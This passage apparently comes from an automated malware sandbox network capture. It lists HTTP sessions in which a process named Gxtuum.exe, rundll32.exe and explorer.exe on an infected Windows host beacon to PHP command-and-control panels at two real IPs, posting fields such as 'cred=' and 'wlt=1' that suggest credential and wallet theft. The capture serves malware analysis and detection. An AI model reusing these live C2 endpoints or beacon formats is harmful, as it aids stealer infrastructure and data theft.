Dec 13, 2024 08:20:16.971241951 CET	204	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:20:16 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 7 Content-Type: text/html; charset=UTF-8 Data Raw: 20 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.11	49971	185.81.68.147	80	3076	C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:20:15.628715992 CET	307	OUT	POST /7vhfjke3/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.81.68.147 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 38 32 44 30 39 36 36 33 35 41 32 39 41 31 46 41 30 41 38 39 37 46 43 35 36 30 32 35 43 32 45 39 44 45 36 34 39 44 42 43 38 37 42 39 38 32 36 33 46 30 41 42 45 43 44 35 46 41 44 34 38 43 42 45 46 43 37 46 33 33 38 39 42 42 30 35 36 39 38 30 44 32 38 37 42 38 32 32 37 41 39 33 32 36 39 44 41 32 34 45 30 44 43 36 46 33 38 45 46 46 38 38 42 42 45 35 39 39 35 45 32 38 42 35 34 46 37 39 39 35 30 37 45 41 30 46 45 39 35 45 30 30 37 32 42 35 45 30 36 31 43 38 Data Ascii: r=82D096635A29A1FA0A897FC56025C2E9DE649DBC87B98263F0ABECD5FAD48CBEFC7F3389BB056980D287B8227A93269DA24E0DC6F38EFF88BBE5995E28B54F799507EA0FE95E0072B5E061C8
Dec 13, 2024 08:20:16.972544909 CET	204	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:20:16 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 7 Content-Type: text/html; charset=UTF-8 Data Raw: 20 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.11	49972	185.81.68.147	80	5696	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:20:15.805485010 CET	173	OUT	POST /7vhfjke3/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.81.68.147 Content-Length: 21 Cache-Control: no-cache Data Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 63 72 65 64 3d Data Ascii: id=246122658369&cred=
Dec 13, 2024 08:20:17.125830889 CET	198	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:20:16 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.11	49973	185.81.68.147	80	2872	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:20:16.063693047 CET	173	OUT	POST /7vhfjke3/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.81.68.147 Content-Length: 21 Cache-Control: no-cache Data Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 63 72 65 64 3d Data Ascii: id=246122658369&cred=
Dec 13, 2024 08:20:17.363583088 CET	198	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:20:16 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.11	49975	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:20:16.226548910 CET	278	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 13, 2024 08:20:16.346513987 CET	6	OUT	Data Raw: 44 0a 58 05 Data Ascii: DX
Dec 13, 2024 08:20:17.915395021 CET	216	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:20:16 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.11	49977	185.81.68.148	80	6040	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:20:17.091058016 CET	159	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.81.68.148 Content-Length: 5 Cache-Control: no-cache Data Raw: 77 6c 74 3d 31 Data Ascii: wlt=1
Dec 13, 2024 08:20:18.502948046 CET	711	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:20:17 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 512 Content-Type: text/html; charset=UTF-8 Data Raw: 20 2b 2b 2b 5f 31 5f 64 61 38 30 66 39 36 39 30 35 37 32 65 31 39 38 36 31 38 62 31 39 62 61 33 64 32 34 61 64 64 37 63 39 36 61 66 39 65 62 38 35 65 32 38 35 37 35 62 62 65 39 65 64 64 35 63 62 64 33 63 64 61 32 64 66 33 36 2d 31 2d 5f 32 5f 64 62 63 63 63 65 36 31 35 62 37 61 66 35 66 62 35 63 38 66 37 33 63 65 36 61 37 30 39 39 61 65 39 34 36 39 39 64 61 34 64 37 62 30 63 30 33 36 61 66 61 61 62 63 64 65 61 62 38 30 38 38 65 36 62 39 37 37 33 34 64 38 62 33 35 62 33 63 64 30 39 31 38 65 2d 32 2d 5f 33 5f 61 37 65 35 39 35 32 31 30 35 35 64 65 39 62 38 34 38 63 65 30 31 62 65 36 32 37 61 39 61 65 38 64 38 31 66 65 34 63 36 64 33 66 64 62 35 36 63 61 39 65 65 63 66 62 36 64 63 63 33 65 33 38 35 64 64 30 39 2d 33 2d 5f 34 5f 61 66 65 31 39 34 33 33 30 63 35 63 63 39 38 66 34 30 64 35 37 39 39 66 33 36 32 30 61 33 64 62 65 30 33 37 63 31 65 32 66 62 63 33 39 35 34 31 38 63 64 63 63 32 38 31 65 66 66 35 63 30 39 64 63 64 37 30 2d 34 2d 5f 35 5f 64 66 38 64 64 64 32 35 31 36 36 61 65 36 62 63 36 38 38 [TRUNCATED] Data Ascii: +++_1_da80f9690572e198618b19ba3d24add7c96af9eb85e28575bbe9edd5cbd3cda2df36-1-_2_dbccce615b7af5fb5c8f73ce6a7099ae94699da4d7b0c036afaabcdeab8088e6b97734d8b35b3cd0918e-2-_3_a7e59521055de9b848ce01be627a9ae8d81fe4c6d3fdb56ca9eecfb6dcc3e385dd09-3-_4_afe194330c5cc98f40d5799f3620a3dbe037c1e2fbc395418cdcc281eff5c09dcd70-4-_5_df8ddd25166ae6bc688801a7046689e6fa0b90f1f4e4b67eb3ace0a4ef85f9e2ea2357a0a87c29b3cdfeb021529870fbff2545a5ed8b81c585c8bc733bec2141b47a9370c65b5e2cb9c202ac4b1ae864feec8d47224f0cce61822e259c2411-5-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.11	49978	185.81.68.148	80	5544	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:20:17.091485023 CET	159	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.81.68.148 Content-Length: 5 Cache-Control: no-cache Data Raw: 77 6c 74 3d 31 Data Ascii: wlt=1
Dec 13, 2024 08:20:18.471235991 CET	711	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:20:17 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 512 Content-Type: text/html; charset=UTF-8 Data Raw: 20 2b 2b 2b 5f 31 5f 64 61 38 30 66 39 36 39 30 35 37 32 65 31 39 38 36 31 38 62 31 39 62 61 33 64 32 34 61 64 64 37 63 39 36 61 66 39 65 62 38 35 65 32 38 35 37 35 62 62 65 39 65 64 64 35 63 62 64 33 63 64 61 32 64 66 33 36 2d 31 2d 5f 32 5f 64 62 63 63 63 65 36 31 35 62 37 61 66 35 66 62 35 63 38 66 37 33 63 65 36 61 37 30 39 39 61 65 39 34 36 39 39 64 61 34 64 37 62 30 63 30 33 36 61 66 61 61 62 63 64 65 61 62 38 30 38 38 65 36 62 39 37 37 33 34 64 38 62 33 35 62 33 63 64 30 39 31 38 65 2d 32 2d 5f 33 5f 61 37 65 35 39 35 32 31 30 35 35 64 65 39 62 38 34 38 63 65 30 31 62 65 36 32 37 61 39 61 65 38 64 38 31 66 65 34 63 36 64 33 66 64 62 35 36 63 61 39 65 65 63 66 62 36 64 63 63 33 65 33 38 35 64 64 30 39 2d 33 2d 5f 34 5f 61 66 65 31 39 34 33 33 30 63 35 63 63 39 38 66 34 30 64 35 37 39 39 66 33 36 32 30 61 33 64 62 65 30 33 37 63 31 65 32 66 62 63 33 39 35 34 31 38 63 64 63 63 32 38 31 65 66 66 35 63 30 39 64 63 64 37 30 2d 34 2d 5f 35 5f 64 66 38 64 64 64 32 35 31 36 36 61 65 36 62 63 36 38 38 [TRUNCATED] Data Ascii: +++_1_da80f9690572e198618b19ba3d24add7c96af9eb85e28575bbe9edd5cbd3cda2df36-1-_2_dbccce615b7af5fb5c8f73ce6a7099ae94699da4d7b0c036afaabcdeab8088e6b97734d8b35b3cd0918e-2-_3_a7e59521055de9b848ce01be627a9ae8d81fe4c6d3fdb56ca9eecfb6dcc3e385dd09-3-_4_afe194330c5cc98f40d5799f3620a3dbe037c1e2fbc395418cdcc281eff5c09dcd70-4-_5_df8ddd25166ae6bc688801a7046689e6fa0b90f1f4e4b67eb3ace0a4ef85f9e2ea2357a0a87c29b3cdfeb021529870fbff2545a5ed8b81c585c8bc733bec2141b47a9370c65b5e2cb9c202ac4b1ae864feec8d47224f0cce61822e259c2411-5-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.11	49982	185.81.68.148	80	5696	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:20:17.293344975 CET	176	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.81.68.148 Content-Length: 21 Cache-Control: no-cache Data Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 63 72 65 64 3d Data Ascii: id=246122658369&cred=
Dec 13, 2024 08:20:18.626048088 CET	198	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:20:17 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.11	49983	185.81.68.148	80	2872	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:20:17.545290947 CET	176	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.81.68.148 Content-Length: 21 Cache-Control: no-cache Data Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 63 72 65 64 3d Data Ascii: id=246122658369&cred=
Dec 13, 2024 08:20:18.870853901 CET	198	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:20:18 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.11	49984	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:20:18.148117065 CET	278	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 13, 2024 08:20:18.268423080 CET	6	OUT	Data Raw: 44 0a 58 05 Data Ascii: DX
Dec 13, 2024 08:20:19.751533031 CET	216	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:20:18 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.11	49987	185.81.68.148	80	3076	C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:20:18.747425079 CET	158	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.81.68.148 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 13, 2024 08:20:20.080003977 CET	205	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:20:19 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 8 Content-Type: text/html; charset=UTF-8 Data Raw: 20 3c 63 3e 33 3c 64 3e Data Ascii: <c>3<d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.11	49988	185.81.68.147	80	3076	C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:20:18.747844934 CET	155	OUT	POST /7vhfjke3/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.81.68.147 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 13, 2024 08:20:20.082040071 CET	205	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:20:19 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 8 Content-Type: text/html; charset=UTF-8 Data Raw: 20 3c 63 3e 33 3c 64 3e Data Ascii: <c>3<d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.11	49992	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:20:20.010216951 CET	278	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 13, 2024 08:20:20.130034924 CET	6	OUT	Data Raw: 44 0a 58 05 Data Ascii: DX
Dec 13, 2024 08:20:21.455694914 CET	216	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:20:20 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.11	49996	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:20:21.680393934 CET	278	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 13, 2024 08:20:21.800165892 CET	6	OUT	Data Raw: 44 0a 58 05 Data Ascii: DX
Dec 13, 2024 08:20:23.306274891 CET	216	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:20:22 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.11	49998	185.81.68.148	80	3076	C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:20:21.807707071 CET	310	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.81.68.148 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 38 32 44 30 39 36 36 33 35 41 32 39 41 31 46 41 30 41 38 39 37 46 43 35 36 30 32 35 43 32 45 39 44 45 36 34 39 44 42 43 38 37 42 39 38 32 36 33 46 30 41 42 45 43 44 35 46 41 44 34 38 43 42 45 46 43 37 46 33 33 38 39 42 42 30 35 36 39 38 30 44 32 38 37 42 38 32 32 37 41 39 33 32 36 39 44 41 32 34 45 30 44 43 36 46 33 38 45 46 46 38 38 42 42 45 35 39 39 35 45 32 38 42 35 34 46 37 39 39 35 30 37 45 41 30 46 45 39 35 45 30 30 37 32 42 35 45 30 36 31 43 38 Data Ascii: r=82D096635A29A1FA0A897FC56025C2E9DE649DBC87B98263F0ABECD5FAD48CBEFC7F3389BB056980D287B8227A93269DA24E0DC6F38EFF88BBE5995E28B54F799507EA0FE95E0072B5E061C8
Dec 13, 2024 08:20:23.121488094 CET	204	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:20:22 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 7 Content-Type: text/html; charset=UTF-8 Data Raw: 20 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.11	49999	185.81.68.147	80	3076	C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:20:21.807735920 CET	307	OUT	POST /7vhfjke3/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.81.68.147 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 38 32 44 30 39 36 36 33 35 41 32 39 41 31 46 41 30 41 38 39 37 46 43 35 36 30 32 35 43 32 45 39 44 45 36 34 39 44 42 43 38 37 42 39 38 32 36 33 46 30 41 42 45 43 44 35 46 41 44 34 38 43 42 45 46 43 37 46 33 33 38 39 42 42 30 35 36 39 38 30 44 32 38 37 42 38 32 32 37 41 39 33 32 36 39 44 41 32 34 45 30 44 43 36 46 33 38 45 46 46 38 38 42 42 45 35 39 39 35 45 32 38 42 35 34 46 37 39 39 35 30 37 45 41 30 46 45 39 35 45 30 30 37 32 42 35 45 30 36 31 43 38 Data Ascii: r=82D096635A29A1FA0A897FC56025C2E9DE649DBC87B98263F0ABECD5FAD48CBEFC7F3389BB056980D287B8227A93269DA24E0DC6F38EFF88BBE5995E28B54F799507EA0FE95E0072B5E061C8
Dec 13, 2024 08:20:23.159133911 CET	204	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:20:22 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 7 Content-Type: text/html; charset=UTF-8 Data Raw: 20 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.11	50003	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:20:23.538635015 CET	278	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 13, 2024 08:20:23.658400059 CET	6	OUT	Data Raw: 44 0a 58 05 Data Ascii: DX
Dec 13, 2024 08:20:25.134423018 CET	216	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:20:24 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.11	50006	185.81.68.148	80	3076	C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:20:24.992815971 CET	158	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.81.68.148 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 13, 2024 08:20:26.302354097 CET	205	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:20:25 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 8 Content-Type: text/html; charset=UTF-8 Data Raw: 20 3c 63 3e 33 3c 64 3e Data Ascii: <c>3<d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.11	50007	185.81.68.147	80	3076	C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:20:24.992924929 CET	155	OUT	POST /7vhfjke3/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.81.68.147 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 13, 2024 08:20:26.314382076 CET	205	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:20:25 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 8 Content-Type: text/html; charset=UTF-8 Data Raw: 20 3c 63 3e 33 3c 64 3e Data Ascii: <c>3<d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.11	50010	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:20:25.366919994 CET	278	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 13, 2024 08:20:25.486934900 CET	6	OUT	Data Raw: 44 0a 58 05 Data Ascii: DX
Dec 13, 2024 08:20:26.961940050 CET	216	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:20:26 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.11	50013	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:20:27.212013960 CET	278	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 13, 2024 08:20:27.332889080 CET	6	OUT	Data Raw: 44 0a 58 05 Data Ascii: DX
Dec 13, 2024 08:20:28.816076994 CET	216	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:20:27 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.11	50017	185.81.68.148	80	3076	C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:20:28.102502108 CET	310	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.81.68.148 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 38 32 44 30 39 36 36 33 35 41 32 39 41 31 46 41 30 41 38 39 37 46 43 35 36 30 32 35 43 32 45 39 44 45 36 34 39 44 42 43 38 37 42 39 38 32 36 33 46 30 41 42 45 43 44 35 46 41 44 34 38 43 42 45 46 43 37 46 33 33 38 39 42 42 30 35 36 39 38 30 44 32 38 37 42 38 32 32 37 41 39 33 32 36 39 44 41 32 34 45 30 44 43 36 46 33 38 45 46 46 38 38 42 42 45 35 39 39 35 45 32 38 42 35 34 46 37 39 39 35 30 37 45 41 30 46 45 39 35 45 30 30 37 32 42 35 45 30 36 31 43 38 Data Ascii: r=82D096635A29A1FA0A897FC56025C2E9DE649DBC87B98263F0ABECD5FAD48CBEFC7F3389BB056980D287B8227A93269DA24E0DC6F38EFF88BBE5995E28B54F799507EA0FE95E0072B5E061C8
Dec 13, 2024 08:20:29.361918926 CET	204	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:20:28 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 7 Content-Type: text/html; charset=UTF-8 Data Raw: 20 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.11	50018	185.81.68.147	80	3076	C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:20:28.102727890 CET	307	OUT	POST /7vhfjke3/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.81.68.147 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 38 32 44 30 39 36 36 33 35 41 32 39 41 31 46 41 30 41 38 39 37 46 43 35 36 30 32 35 43 32 45 39 44 45 36 34 39 44 42 43 38 37 42 39 38 32 36 33 46 30 41 42 45 43 44 35 46 41 44 34 38 43 42 45 46 43 37 46 33 33 38 39 42 42 30 35 36 39 38 30 44 32 38 37 42 38 32 32 37 41 39 33 32 36 39 44 41 32 34 45 30 44 43 36 46 33 38 45 46 46 38 38 42 42 45 35 39 39 35 45 32 38 42 35 34 46 37 39 39 35 30 37 45 41 30 46 45 39 35 45 30 30 37 32 42 35 45 30 36 31 43 38 Data Ascii: r=82D096635A29A1FA0A897FC56025C2E9DE649DBC87B98263F0ABECD5FAD48CBEFC7F3389BB056980D287B8227A93269DA24E0DC6F38EFF88BBE5995E28B54F799507EA0FE95E0072B5E061C8
Dec 13, 2024 08:20:29.379689932 CET	204	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:20:28 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 7 Content-Type: text/html; charset=UTF-8 Data Raw: 20 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.11	50020	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:20:29.038815022 CET	278	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 13, 2024 08:20:29.159308910 CET	6	OUT	Data Raw: 44 0a 58 05 Data Ascii: DX
Dec 13, 2024 08:20:30.632433891 CET	216	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:20:29 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.11	50025	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
